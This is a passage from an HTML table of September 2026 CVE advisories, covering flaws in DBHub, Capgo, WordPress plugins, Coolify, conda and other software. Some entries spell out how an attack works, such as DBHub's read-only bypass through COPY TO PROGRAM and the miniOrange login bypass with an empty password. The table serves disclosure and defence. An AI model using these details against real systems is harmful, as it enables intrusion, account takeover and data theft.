&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100685&quot; target=&quot;_blank&quot;&gt;CVE-2026-100685&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bytebase--dbhub&lt;/td&gt;
&lt;td&gt;DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Prior to version 0.22.6, setting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set PostgreSQL `default_transaction_read_only=on` (and open SQLite in `readOnly` mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any `SELECT` that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (`lo_export`), reading arbitrary host files (`pg_read_file`), and remote code execution (`dblink` + `COPY ... TO PROGRAM`). The HTTP transport is unauthenticated and binds to `0.0.0.0` by default, so this is reachable by any network caller of `/mcp`. Version 0.22.6 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61788&quot; target=&quot;_blank&quot;&gt;CVE-2026-61788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Canva--Canva&lt;/td&gt;
&lt;td&gt;The Canva Mobile App for HarmonyOS before v1.15.1 did not restrict the headers returned to an external origin running in a privileged WebView. A threat actor with control of the WebView could access a user&#039;s session.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90860&quot; target=&quot;_blank&quot;&gt;CVE-2026-90860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo before 12.244.1 contains a cross-tenant integrity vulnerability in the metadata-cleaning worker that trusts image object keys from mutable database rows without validating ownership. An authenticated attacker can place a victim tenant&#039;s image key in a row they control, causing the service-role worker to download and re-upload that object with sanitized metadata. Attackers can silently modify metadata in cross-tenant image objects by supplying known victim keys during authorized row updates, bypassing storage access controls through the confused-deputy metadata worker.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100614&quot; target=&quot;_blank&quot;&gt;CVE-2026-100614&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Cap-go capgo.app before 12.267.1 fails to validate target API key privilege during rotation, allowing an apikey_manager to rotate a higher-privileged org_super_admin sibling key and recover its plaintext credential. Attackers with apikey_manager role can enumerate same-owner API keys, rotate a stronger sibling through the PUT endpoint, and obtain the replacement plaintext secret to authenticate as the higher-privileged principal.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100615&quot; target=&quot;_blank&quot;&gt;CVE-2026-100615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Cap-go capgo.app fails to validate that principals in channel_permission_overrides belong to the organization, allowing authenticated app/org admins to grant channel permissions to non-member users. Attackers with admin privileges can insert override rows with arbitrary external user UUIDs to grant channel-scoped permissions such as channel.promote_bundle to users outside the organization.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100617&quot; target=&quot;_blank&quot;&gt;CVE-2026-100617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (capgo.app) is affected by an authorization flaw in the app icon update path. The PUT /app/:id endpoint accepts a user-controlled `icon` value, normalizes it, and stores it in public.apps.icon_url without verifying that the image path belongs to the target app&#039;s own image namespace (e.g. org/{owner_org}/{app_id}/...). Updating apps.icon_url fires the on_app_update trigger, whose worker reads record.icon_url and calls cleanStoredImageMetadata(), which runs with service-role credentials (supabaseAdmin()) and downloads and re-uploads the referenced storage object with upsert: true. As a result, an authenticated holder of an app-limited write API key can cause the privileged worker to rewrite an out-of-scope private image object (for example an organization logo) that the key cannot read or write directly under Supabase Storage RLS. All versions are affected; no patched version was available at the time of the advisory.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100618&quot; target=&quot;_blank&quot;&gt;CVE-2026-100618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (capgo.app) blocks direct user inserts into the public.manifest table with a RESTRICTIVE row-level security policy, but that restriction can be bypassed indirectly. A principal holding an app-scoped upload/write/all API key (upload+ rights) or an authenticated user with write+ rights on an app can update public.app_versions.manifest on a version whose storage_provider is &#039;r2-direct&#039;, which is not covered by the bundle content-lock check. The on_version_update async worker trusts record.manifest and, using the service-role Supabase client, inserts the attacker-controlled file_name, file_hash, and s3_path into public.manifest before clearing app_versions.manifest. When a channel points to the crafted version, the /updates endpoint returns the service-role-created manifest entry as a client-facing download_url, enabling OTA manifest poisoning through a trusted async worker path. All versions are affected; no patch was available at the time of publication.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100619&quot; target=&quot;_blank&quot;&gt;CVE-2026-100619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (capgo.app) exposes the legacy membership table public.org_users directly through Supabase PostgREST. The table&#039;s row-level security policies &quot;Allow org admin to insert&quot; and &quot;Allow org admin to update&quot; only verify that the caller has admin rights in the target organization (public.check_min_rights(&#039;admin&#039;, ...)); they do not require a pending invitation in tmp_users, acceptance of an invite token via /private/accept_invitation, any action by the target user, or the membership/role-consistency and anti-escalation checks enforced by the RBAC role-binding path. As a result, an authenticated user who is an admin of an organization can INSERT or UPDATE org_users rows directly to add any existing public.users account as an active member of that organization with user_right=&quot;admin&quot;, bypassing the invitation and role-assignment workflow entirely. In testing, an account with no prior access to the organization or its apps could, after such a direct insert, read the organization and app and pass check_min_rights. All versions are affected and no patch was available at the time of publication.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100623&quot; target=&quot;_blank&quot;&gt;CVE-2026-100623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (Cap-go/capgo.app) server backend Supabase functions contain an incorrect authorization flaw in the API-key bundle promotion path. The PUT /bundle endpoint, available to &quot;all&quot; and &quot;write&quot; API keys, dispatches to setChannel, which authorizes with checkPermission(c, &#039;channel.promote_bundle&#039;, { appId: body.app_id }) and omits the request&#039;s channel_id. Because the omitted scope field is passed to rbac_check_permission_direct as SQL NULL, and channel-scope override evaluation is gated on p_channel_id IS NOT NULL, per-channel allow/deny overrides are never evaluated. A principal holding app-level channel.promote_bundle (granted by default to the app_developer and app_uploader roles) can therefore promote a bundle to a channel for which an explicit per-channel deny override exists, updating public.channels.version for the supplied channel_id; the target channel is only validated after authorization. The issue is confirmed on main at commit de66fa51e7ff2f50283cc1455c3d80ab3eb0ae43 and likely earlier versions; no patched version is known at the time of publication.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100627&quot; target=&quot;_blank&quot;&gt;CVE-2026-100627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (capgo.app) through version 12.261.0 contains an incomplete access-control fix for the public.sso_providers table. Migration 20260826100000_sso_providers_block_direct_active_insert.sql installs a BEFORE UPDATE guard (enforce_sso_provider_client_update_guard()) that freezes only the dns_verified_at, domain, status and enforce_sso columns; provider_id (as well as metadata_url and attribute_mapping) is left writable. Because the table is granted ALL to the anon and authenticated roles with no column-level restriction, and PostgreSQL row-level security policies such as allow_org_admins_update_sso_providers constrain only which row may be updated and not which columns, a user holding the org_admin tier permission org.update_settings can PATCH provider_id over PostgREST to an identity provider under their control. Since provider_id is the trust anchor binding an email domain to an authorized IdP, the attacker can then authenticate through their own IdP while asserting the org owner&#039;s email; the server-side provider match succeeds and the merge routine attaches the attacker&#039;s SSO identity to the existing owner account, nulls its password, and deletes its other identities and sessions. This results in vertical privilege escalation from org_admin to org owner/super_admin, account takeover, and lockout of the legitimate owner. Exploitation requires that the target organization has an active SSO provider configured and that the attacker already holds org_admin in that organization. No patched version is available.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100612&quot; target=&quot;_blank&quot;&gt;CVE-2026-100612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;capgo.app through 12.129.0 fails to verify deletion status when serving cached bundle artifacts from the public file read endpoint. Unauthenticated attackers can download deleted bundles using cached URLs and trigger restoration of deleted objects into R2 storage on cache hits.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100622&quot; target=&quot;_blank&quot;&gt;CVE-2026-100622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--capgo.app&lt;/td&gt;
&lt;td&gt;Capgo (capgo.app) exposes a native build TUS upload proxy (supabase/functions/_backend/public/build/upload.ts) that authorizes a caller against a single build job identified by the supplied builder_job_id and validates only that job&#039;s stored upload_path, but then forwards the user-controlled TUS resource suffix taken from /build/upload/:jobId/* to the builder service while injecting Capgo&#039;s privileged builder API key. Because the forwarded suffix is never bound to the authorized job&#039;s upload_path or upload_session_key, a caller holding a valid &#039;all&#039; or &#039;write&#039; Capgo API key with app.build_native permission for one application can use its authorized proxy path for job A to write to the TUS upload resource of another job B, provided that resource suffix is known or exposed, corrupting that build&#039;s artifacts. All versions are affected; no patch was available at the time of advisory publication.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100625&quot; target=&quot;_blank&quot;&gt;CVE-2026-100625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;carazo--Import and export users and customers&lt;/td&gt;
&lt;td&gt;The Import and export users and customers plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.4.17 via the plugin&#039;s own export and re-import workflow. The vulnerability exists because the exporter writes CSV cells using fputcsv() with a NUL byte (\0) as the escape character, while the importer parses the same file using SplFileObject::fgetcsv() with only a single delimiter argument, causing PHP&#039;s default backslash escape character to be applied instead; because the export column layout places display_name immediately before the role column and nickname immediately after, an attacker can store crafted values in those two profile fields - saved by WordPress core via the standard profile page - such that the escape mismatch causes the parser to merge the display_name cell into the role field and rebalance the column count via nickname, yielding administrator as the parsed role for their own row when it reaches the import_user function&#039;s add_role function. This makes it possible for authenticated attackers with Subscriber-level access or above to escalate their privileges to Administrator. Exploitation requires a site administrator to trigger the plugin&#039;s documented export re-import migration with both &quot;Update existing users&quot; and &quot;Update roles for existing users&quot; set to &quot;yes&quot;.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86583&quot; target=&quot;_blank&quot;&gt;CVE-2026-86583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Changing--CGServiSign&lt;/td&gt;
&lt;td&gt;CGServiSign developed by Changing has a OS Command Injection vulnerability. Unauthenticated remote attackers can induce victims to visit a malicious web page and inject arbitrary OS commands through the local service interface, resulting in command execution on the victim&#039;s local computer.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15027&quot; target=&quot;_blank&quot;&gt;CVE-2026-15027&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;checkpoint--Quantum Security Management&lt;/td&gt;
&lt;td&gt;A directory traversal and file upload vulnerability allows an unauthenticated attacker to upload and execute arbitrary scripts on Check Point Management Server.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93616&quot; target=&quot;_blank&quot;&gt;CVE-2026-93616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Chengdu Feiyuxing Technology--Feiyu Star Router&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Chengdu Feiyuxing Technology Feiyu Star Router B-MB5E202-210322-r11656. Affected is an unknown function of the file /send_order.cgi?parameter=loginout of the component Cookie Handler. This manipulation of the argument session_id causes command injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94139&quot; target=&quot;_blank&quot;&gt;CVE-2026-94139&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;clavaque--s2Member Excellent for All Kinds of Memberships, Content Restriction Paywalls &amp;amp; Member Access Subscriptions&lt;/td&gt;
&lt;td&gt;The s2Member - Excellent for All Kinds of Memberships, Content Restriction Paywalls &amp;amp; Member Access Subscriptions plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 260814 via the &#039;first_name&#039; parameter parameter. This is due to insufficient sanitization of the first_name parameter via esc_refs(), which strips only regex backreferences and not PHP tags, before substitution into the eval&#039;d Signup Tracking Codes template, combined with disclosure of the site-global proxy verification key that allows PayPal postback verification to be bypassed. This makes it possible for unauthenticated attackers to execute code on the server. Successful exploitation requires that the site administrator has configured a Signup Tracking Codes template containing the %%first_name%% placeholder (a documented, GUI-supported feature) and that the attacker has obtained the site-global proxy verification key, which is exposed in plaintext in the JSON response of any PayPal Checkout AJAX request on the target site.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19804&quot; target=&quot;_blank&quot;&gt;CVE-2026-19804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cloudreve--cloudreve&lt;/td&gt;
&lt;td&gt;Cloudreve is a self-hosted file management and sharing system. Prior to 4.18.0, PrepareUpload in pkg/filemanager/fs/dbfs/upload.go checks a stale in-memory user storage value through validateUserCapacity and later applies an unconditional storage charge outside the same quota-enforcing transaction. An authenticated user with Files.Write permission can issue concurrent upload-session requests that read the same capacity snapshot, all pass the MaxStorage check, and reserve their declared sizes through CommitWithStorageDiff. The resulting reservations can exceed the account quota and can be materialized as chunked uploads that exhaust host storage and deny uploads to other users. The default local-storage policy and default User group are affected. This issue is fixed in version 4.18.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77633&quot; target=&quot;_blank&quot;&gt;CVE-2026-77633&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code16--sharp&lt;/td&gt;
&lt;td&gt;code16 Sharp is a Laravel-based framework for building content-management and administrative interfaces. Versions before 9.22.5 contain a stored cross-site scripting vulnerability in `SharpEditorFormField`: attacker-controlled content bearing the `data-html-content` attribute can bypass HTML sanitization and preserve executable markup, which may execute when another user views the stored content. The vendor identifies version 9.22.5 as patched; applications that intentionally enable `SharpFormEditorField::RAW_HTML` must continue to sanitize editor content themselves. As a workaround, applications should sanitize all editor content before storing or rendering it, for example with Symfony HtmlSanitizer, and disable RAW_HTML functionality where it is not required.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61825&quot; target=&quot;_blank&quot;&gt;CVE-2026-61825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code16--sharp&lt;/td&gt;
&lt;td&gt;code16 Sharp is a Laravel-based framework for building content-management and administrative interfaces. Versions before 9.22.5 contain a stored cross-site scripting vulnerability in the rich-text editor because the HTML sanitizer permits the `srcdoc` attribute on iframe elements. Although markup inside `srcdoc` is HTML-encoded during sanitization, browsers decode attribute entities before interpreting the iframe document, allowing an authenticated user with permission to edit an Editor field to store executable JavaScript that runs when another user views the content. Successful exploitation can result in session hijacking, unauthorized actions, account takeover, privilege escalation, or disclosure of administrative data. Version 9.22.5 patches the vulnerability by removing `srcdoc` from the permitted iframe attributes. As a workaround, applications that cannot upgrade should manually sanitize all Editor field content and remove every iframe `srcdoc` attribute before storing or rendering it.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61823&quot; target=&quot;_blank&quot;&gt;CVE-2026-61823&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;codename065--Premium Packages Sell Digital Products Securely&lt;/td&gt;
&lt;td&gt;The Premium Packages - Sell Digital Products Securely plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;cart_items[][product_name]&#039; Parameter in all versions up to, and including, 7.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The checkout REST route uses permission_callback set to __return_true and the invoice loader performs no order ownership check, meaning an unauthenticated attacker can both persist the payload and ensure it is renderable to any logged-in user who accesses the invoice.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93654&quot; target=&quot;_blank&quot;&gt;CVE-2026-93654&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;codepeople--Calculated Fields Form&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in Calculated Fields Form &amp;lt;= 5.5.1.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95529&quot; target=&quot;_blank&quot;&gt;CVE-2026-95529&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ColorFul--iGameCenter&lt;/td&gt;
&lt;td&gt;A weakness has been identified in ColorFul iGameCenter 1.0.3.4. This impacts the function sub_140001AF0 in the library ene.sys of the component IOCTL Handler. This manipulation causes untrusted pointer dereference. The attack can only be executed locally. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94403&quot; target=&quot;_blank&quot;&gt;CVE-2026-94403&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;concretecms-community-store--community_store&lt;/td&gt;
&lt;td&gt;Concrete CMS Community Store before 2.7.8 derives digital product download tokens from order creation timestamps instead of random values, making tokens predictable. Unauthenticated attackers can enumerate sequential order and file identifiers to calculate valid download tokens and retrieve digital goods purchased by other customers.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95653&quot; target=&quot;_blank&quot;&gt;CVE-2026-95653&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;conda--conda&lt;/td&gt;
&lt;td&gt;Conda is a system-level binary package and environment manager that runs on major operating systems and platforms. Prior to 26.5.2, parse_entry_point_def in conda/common/path/python.py accepted an unvalidated entry-point command from a noarch:python package&#039;s info/link.json metadata. CreatePythonEntryPointAction in conda/core/path_actions.py interpolated that command into target_short_path, and PrefixPathAction.target_full_path joined it to the installation prefix without verifying that the result remained under the intended bin or Scripts directory. create_python_entry_point in conda/gateways/disk/create.py then wrote an executable wrapper to the resulting path. A malicious package could use path separators, traversal segments, or an absolute command path to write outside the prefix or overwrite another in-prefix entry point during default install and environment transactions. Out-of-prefix writes require the target parent directory to exist, while an overwritten entry point can execute attacker-controlled Python when later invoked with the installing user&#039;s privileges. This issue is fixed in version 26.5.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53940&quot; target=&quot;_blank&quot;&gt;CVE-2026-53940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;coollabsio--Coolify&lt;/td&gt;
&lt;td&gt;A flaw has been found in coollabsio Coolify up to 4.1.2. The affected element is an unknown function of the file app/Http/Middleware/CanUpdateResource.php of the component Route-Level Middleware. Executing a manipulation can lead to missing authorization. The attack may be launched remotely. The exploit has been published and may be used. Upgrading to version 4.2.0 is sufficient to fix this issue. This patch is called 39ae16de4248075de8c08f3259114e064b20d52d. It is advisable to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100744&quot; target=&quot;_blank&quot;&gt;CVE-2026-100744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;coollabsio--Coolify&lt;/td&gt;
&lt;td&gt;A vulnerability was found in coollabsio Coolify up to 4.1.0. This affects the function Github::redirect of the file /webhooks/source/github/redirect of the component GitHub App Setup Handler. The manipulation of the argument state results in missing authentication. The attack can be executed remotely. The exploit has been made public and could be used. Upgrading to version 4.1.1 mitigates this issue. The patch is identified as fc89e357feed5180ed1ab5eb9cb330578f025539. The affected component should be upgraded.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100746&quot; target=&quot;_blank&quot;&gt;CVE-2026-100746&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cozmoslabs--TranslatePress Translate Multilingual sites with AI Translation&lt;/td&gt;
&lt;td&gt;The TranslatePress - Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Translation Memory Suggestion Panel (v-html on suggestion.original) in all versions up to, and including, 3.3.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Unauthenticated attackers can seed the translation dictionary&#039;s original column with executable HTML because the front-end rendering pipeline decodes entity-encoded payloads via html_entity_decode() before persistence, and the original column is deliberately exempt from kses filtering - meaning no save-time sanitizer neutralizes the stored payload before it is later rendered in an administrator&#039;s session.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89412&quot; target=&quot;_blank&quot;&gt;CVE-2026-89412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cozmoslabs--User Profile Builder Beautiful User Registration Forms, User Profiles &amp;amp; User Role Editor&lt;/td&gt;
&lt;td&gt;The User Profile Builder - Beautiful User Registration Forms, User Profiles &amp;amp; User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Avatar Field in all versions up to, and including, 4.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The zero-length multipart file branch in wppb_save_avatar_value() writes the raw request value directly to user meta, bypassing the wppb_save_attachment_id()/wppb_verify_attachment_id() validation path; the stored payload is later adopted as a WordPress attachment URL and rendered unescaped by wppb_default_fields_make_upload_button() when an administrator views the affected account.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95866&quot; target=&quot;_blank&quot;&gt;CVE-2026-95866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;crivion--Laranode&lt;/td&gt;
&lt;td&gt;Laranode versions before 1.2.1 contain a path traversal vulnerability in the POST /filemanager/upload-file endpoint that allows authenticated users to write arbitrary files outside their home directory. Attackers can supply directory traversal sequences in the path parameter to write PHP files into other tenants&#039; web roots and execute code as those tenants.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100520&quot; target=&quot;_blank&quot;&gt;CVE-2026-100520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cyberlord92--miniOrange OTP Login, Verification and SMS Notifications&lt;/td&gt;
&lt;td&gt;The miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress is vulnerable to Authentication Bypass via the mo_wp_login_intent parameter in all versions up to, and including, 5.5.5. This is due to a missing password-intent guard in the skip_pass_fallback-enabled configuration branch of the mo_by_pass_login() function, which treats administrator role membership alone as sufficient authentication whenever the unauthenticated, unverified POST parameter mo_wp_login_intent is submitted with the value otp, causing mo_get_user() to skip wp_authenticate_username_password() and resolve a WP_User purely from a username lookup. This makes it possible for unauthenticated attackers to log in as any existing administrator account by supplying only a known username and an empty password alongside mo_wp_login_intent=otp, with no password or OTP verification required. Exploitation is conditional on a site administrator having simultaneously enabled the following plugin options: WP Login OTP, Login with Only OTP, Allow Users to Login with Username and Password, and Admin OTP Bypass.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85984&quot; target=&quot;_blank&quot;&gt;CVE-2026-85984&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
